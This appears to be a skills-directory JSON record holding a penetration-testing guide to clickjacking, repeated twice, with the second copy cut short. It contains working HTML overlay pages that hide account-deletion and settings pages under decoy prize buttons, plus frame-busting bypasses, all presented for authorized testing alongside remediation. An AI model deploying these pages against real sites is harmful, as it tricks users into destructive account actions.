[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DBFVGAJPN0CTY01E1YTM2G":3,"skill-same:01M7DBFVGAJPN0CTY01E1YTM2G":91},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":58,"ownerDescription":59,"updatedAt":60,"install":61,"resources":74},"01M7DBFVGAJPN0CTY01E1YTM2G","performing-clickjacking-attack-test",null,"Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-clickjacking-attack-test\ndescription: Testing web applications for clickjacking vulnerabilities by assessing\n  frame embedding controls and crafting proof-of-concept overlay attacks during authorized\n  security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- clickjacking\n- ui-redressing\n- web-security\n- owasp\n- x-frame-options\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0024\n- AML.T0035\nnist_ai_rmf:\n- MEASURE-2.8\n- MAP-5.1\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n","# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | 